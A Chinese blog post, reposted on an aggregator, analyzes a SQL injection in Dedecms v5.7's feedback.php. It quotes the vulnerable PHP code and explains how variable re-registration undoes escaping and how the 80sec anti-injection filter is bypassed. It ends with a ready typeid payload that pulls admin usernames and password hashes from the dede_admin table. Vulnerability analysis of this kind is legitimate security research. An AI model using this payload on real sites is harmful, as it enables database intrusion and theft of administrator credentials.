zoukankan      html  css  js  c++  java
  • Dedecms v5.7 最新注入分析

    该漏洞是cyg07在乌云提交的, 漏洞文件: plusfeedback.php。
    存在问题的代码:

    01 ...
    02 if($comtype == 'comments')
    03     {
    04         $arctitle addslashes($title);
    05         if($msg!='')
    06         {//$typeid变量未做初始化
    07             $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
    08                    VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime''{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
    09         echo $inquery;//调试,输出查询语句
    10             $rs $dsql->ExecuteNoneQuery($inquery);
    11             if(!$rs)
    12             {
    13                 ShowMsg(' 发表评论错误! ''-1');
    14                 //echo $dsql->GetError();
    15                 exit();
    16             }
    17         }
    18     }
    19     //引用回复
    20     elseif ($comtype == 'reply')
    21     {
    22         $row $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
    23         $arctitle $row['arctitle'];
    24         $aid =$row['aid'];
    25         $msg $quotemsg.$msg;
    26         $msg = HtmlReplace($msg, 2);
    27         $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
    28                 VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
    29         $dsql->ExecuteNoneQuery($inquery);
    30 }

    完整的输入语句,第二个参数 typeid可控。

    1 INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('108','2','游客','paxmac','127.0.0.1','1','1351774092''0','0','0','feedback','0','nsfocus&&paxmac team');

    想要利用注入,就要先了解下dedecms的防御机制。
    首先他对一切request进来的参数都会进行转义,具体看代码

    common.inc.php文件 会把所有的request进行处理。

    01 function _RunMagicQuotes(&$svar)
    02 {
    03     if(!get_magic_quotes_gpc())
    04     {
    05         ifis_array($svar) )
    06         {
    07             foreach($svar as $_k => $_v$svar[$_k] = _RunMagicQuotes($_v);
    08         }
    09         else
    10         {
    11             ifstrlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )
    12             {
    13               exit('Request var not allow!');
    14             }
    15             $svar addslashes($svar);
    16         }
    17     }
    18     return $svar;
    19 }
    20 …..
    21 foreach(Array('_GET','_POST','_COOKIE'as $_request)
    22     {
    23         foreach($$_request as $_k => $_v)
    24         {
    25             if($_k == 'nvarname') ${$_k} = $_v;
    26             else ${$_k} = _RunMagicQuotes($_v);
    27         }
    28     }
    29 ….

    从上面代码可以看到他对外来的提交进行了转义处理,但是在filter.ini.php文件中

    01 function _FilterAll($fk, &$svar)
    02 {
    03     global $cfg_notallowstr,$cfg_replacestr;
    04     ifis_array($svar) )
    05     {
    06         foreach($svar as $_k => $_v)
    07         {
    08             $svar[$_k] = _FilterAll($fk,$_v);
    09         }
    10     }
    11     else
    12     {
    13         if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i"$svar))
    14         {
    15             ShowMsg(" $fk has not allow words!",'-1');
    16             exit();
    17         }
    18         if($cfg_replacestr!='')
    19         {
    20             $svar = preg_replace('/'.$cfg_replacestr.'/i'"***"$svar);
    21         }
    22     }
    23     return $svar;
    24 }
    25  
    26 /* 对_GET,_POST,_COOKIE进行过滤 */
    27 foreach(Array('_GET','_POST','_COOKIE'as $_request)
    28 {
    29     foreach($$_request as $_k => $_v)
    30     {
    31         ${$_k} = _FilterAll($_k,$_v);
    32     }
    33 }

    上面是处理敏感词的代码,但是又对变量进行了注册,导致了变量二次覆盖漏洞。其实这漏洞很早前就存在,之前的是因为对提交的变量只检查一维数组的key,可以被绕过从而创建不允许的系统配置变量,dedecms历来的修改都让人摸不着头脑,修补的都是表面的东西,实质导致漏洞问题的原因不做修改。从这次的补丁看来,他就只加了一句判断$typeid是否为数字,对于80sec的防注入代码2次被绕过还继续无视。
    所以在GPC=OFF的时候,被转义的变量又会被重新覆盖而变成正常代码。
    Eg: typeid=2’ 经过覆盖 typeid=2’
    研究过上次dedecms SQL注入的问题的同学肯定了解他的防注入机制。这里做下简单的分析。他对于到之间的内容作为可信任,不对其进行检查。所以我们只要把想利用的代码放在’ ‘内就能躲过检查。利用Mysql的一个语法,他的值@`’`为空,下面来构造漏洞exp:
    typeid=123′,@`’`,0×11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM dede_admin)),(108,’1111
    我用tamper data提交此参数,

    其实这里也利用了一个小bug

    可以看到他的表结构,只有msg可以为null,但是利用代码中在username中用了null,这是非法的语句,单独插入是不会成功的,但是后面一句语句是成立的,insert (a,b) values (1,1),(2,2) (1,1,)非法 (2,2)符合条件的时候会成功同时插入2条语句。由于显示字符数量的问题,所以选择了msg字段作为输出。

  • 相关阅读:
    免费图标分享:天气相关的图标 Meteocons
    分享一个快速将传统表单转化为AJAX支持的表单的jQuery插件 ALAJAX
    了解轻量级的移动开发Javascript类库 Zepto.js
    分享来自Zocial的72个超棒免费CSS3按钮
    了解javascript编程中的Prototype(原型)
    免费资源下载:超酷超全的PSD按钮资源
    js 读 xml 非ie浏览器 如:chrome
    apk 安装 删除
    AndroidManifest.xml 设置
    日期 时间 控制
  • 原文地址:https://www.cnblogs.com/milantgh/p/3615889.html
Copyright © 2011-2022 走看看